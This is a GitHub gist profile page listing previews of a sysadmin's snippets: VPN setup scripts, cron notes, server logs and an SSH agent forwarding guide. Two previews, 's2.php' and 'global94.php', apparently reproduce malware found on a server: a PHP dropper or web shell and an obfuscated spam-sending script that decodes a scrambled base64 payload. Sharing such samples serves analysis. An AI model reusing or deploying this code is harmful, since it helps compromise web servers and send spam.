Skip to content

Instantly share code, notes, and snippets.

View soar's full-sized avatar
:octocat:
Moving forward

Aleksey @soar Smyrnov soar

:octocat:
Moving forward
View GitHub Profile
@soar
soar / 0_reuse_code.js
Created July 6, 2014 16:59
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
@soar
soar / reflect.py
Last active August 29, 2015 14:14 — forked from huyng/reflect.py
#!/usr/bin/env python
# Reflects the requests from HTTP methods GET, POST, PUT, and DELETE
# Written by Nathan Hamiel (2010)
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
@soar
soar / install.sh
Created November 5, 2012 14:37
OS X ip-up install
#!/bin/bash
echo "Проверка..."
if ! networksetup -listallnetworkservices | grep -iF "SevStar" > /dev/null
then
echo "Подходящее подключение не найдено. Пожалуйста создайте новое VPN-соединение, руководствуясь статьей на сайте http://help.sevstar.net/"
else
if [[ -f /etc/ppp/ip-up ]];
then
echo "Файл существует. Старый файл /etc/ppp/ip-up будет сохранен в той же директории."
# Работает - файл обновляется
* * * * * developer cd /opt/simcastreportproxy && perl simcastreader_to_pg.pl > /opt/simcastreportproxy/log/last.log 2>&1
# Не работает - файл пустой
* * * * * developer cd /opt/simcastreportproxy && perl simcastreader_to_pg.pl &>/opt/simcastreportproxy/log/last.log
@soar
soar / ssh-agent-forwarding-screen.md
Created December 31, 2015 12:11 — forked from martijnvermaat/ssh-agent-forwarding-screen.md
SSH agent forwarding and screen

SSH agent forwarding and screen

When connecting to a remote server via SSH it is often convenient to use SSH agent forwarding so that you don't need a separate keypair on that server for connecting to further servers.

This is enabled by adding the

ForwardAgent yes

option to any of your Host entries in ~/.ssh/config (or alternatively with the -A option). Don't set this option in a wildcard Host * section since any user on the remote server that can bypass file permissions can now als use keys loaded in your SSH agent. So only use this with hosts you trust.

@soar
soar / syslog
Created January 10, 2016 20:04
service log
This file has been truncated, but you can view the full file.
Jan 10 22:00:07 service /USR/SBIN/CRON[27884]: (root) CMD (/usr/local/sbin/rrdmac8.pl)
Jan 10 22:00:07 service /USR/SBIN/CRON[27887]: (root) CMD (/usr/local/sbin/rrdmac4.pl 1>/dev/null 2>/dev/null)
Jan 10 22:00:07 service /USR/SBIN/CRON[27885]: (www-data) CMD (php /var/www/cacti.sevstar.net/www/poller.php 2>&1 >/dev/null | if [ -f /usr/bin/ts ] ; then ts ; else tee ; fi >> /var/log/cacti/poller-error.log)
Jan 10 22:00:08 service /USR/SBIN/CRON[27892]: (root) CMD (/usr/local/sbin/rrdtemp.o35.pl 1>/dev/null 2>/dev/null)
Jan 10 22:00:08 service /USR/SBIN/CRON[27895]: (root) CMD (/usr/local/sbin/rrd-iptv-ott-online-users.pl 1>/dev/null 2>/dev/null)
Jan 10 22:00:08 service /USR/SBIN/CRON[27896]: (root) CMD (/usr/local/sbin/rrd-iptv-sat-pbi_3x_level.pl &>/dev/null)
Jan 10 22:00:08 service /USR/SBIN/CRON[27897]: (root) CMD (/usr/local/sbin/graphs_inet.sh 2>/dev/null)
Jan 10 22:00:08 service /USR/SBIN/CRON[27901]: (root) CMD (/usr/local/sbin/rrd-iptv-sat-snr_1_5.pl &>/dev/null)
Jan 10 22:00:08 service /USR/SBIN/CRON[
@soar
soar / s2.php
Created January 13, 2016 21:24
Интересный зверь
<?php
@touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
@soar
soar / ps aux
Last active January 14, 2016 19:44
service
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 10652 636 ? Ss 2015 18:36 init [2]
root 2 0.0 0.0 0 0 ? S 2015 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S 2015 10:12 [ksoftirqd/0]
root 6 0.0 0.0 0 0 ? S 2015 1:36 [migration/0]
root 7 0.0 0.0 0 0 ? S 2015 0:09 [watchdog/0]
root 8 0.0 0.0 0 0 ? S 2015 1:37 [migration/1]
root 10 0.0 0.0 0 0 ? S 2015 4:24 [ksoftirqd/1]
root 12 0.0 0.0 0 0 ? S 2015 0:07 [watchdog/1]
root 13 0.0 0.0 0 0 ? S 2015 4:16 [migration/2]
@soar
soar / .htaccess
Created March 16, 2016 08:42
Where to place your code? To .htaccess!
DirectoryIndex index.php
RewriteEngine On
#RewriteCond %{REQUEST_FILENAME} !-f
#RewriteCond %{REQUEST_FILENAME} !-d
#RewriteCond %{REQUEST_FILENAME} !-l
#RewriteRule ^(.*)$ ./index.php
FileETag MTime Size
<FilesMatch "\.(css|ico)$">
@soar
soar / global94.php
Last active March 21, 2016 12:32
Spam-sending "Virus"
<?php
function wvbejef($mrqhajkchb, $ssmrmefvo){$hb = ''; for($i=0; $i < strlen($mrqhajkchb); $i++){$hb .= isset($ssmrmefvo[$mrqhajkchb[$i]]) ? $ssmrmefvo[$mrqhajkchb[$i]] : $mrqhajkchb[$i];}
$mffkuiegkd="base64_decode";return $mffkuiegkd($hb);}
$zkfh = 'Ze9lsExtDTZNfm28uAiLvT9wDTfzYAftfzCCgXLgZe9lsExtDTZNfm6rD7x9uRfruRJRdFq8c'.
'C8qDTfzYAfwuyECYAfosVORgFq8cC8qumEoTA28YVEwYe9QsTZNJbn0bni8DmOruyEwMTH9u9xWvyxzMbh6gXLgZ'.
'e9lsExtDTZNfm7WBIx9BeEjMT28YmOwMe9QDSuLJbn0bh88DGqNMyEzum9rY9xjYm7CvTf9gIiPK'.
'IxV2EfXSKxcdbqRHSkCdjqRdbqR5bu8PbnhBCNhPb2zDTJh5SiiuRfWBSh8cCNhPb2zDTHYPRf9uAELMbfMVzfjseEjszfMPF'.
'ohJFLgPbi9vmWrPefWumKmHIx9YyHrDeKNumEzsVILsT89gb2zDTJ8gXL'.
'gwZNgDRElvA28YmkhvAEtMexQTAHouy9CTA2WDAJNfp29BpZ8bRLgPbqhPb2oDTWoPFohuA2zsTiwMeI'.
'RuzhnMeEkMbChft6W5Gu8cCNgPbqhPb2oDTWoPFohuA2zTAf9ue6WvmKNPj6WPeWzDVvxTbPGdbqGVzqGdbq'.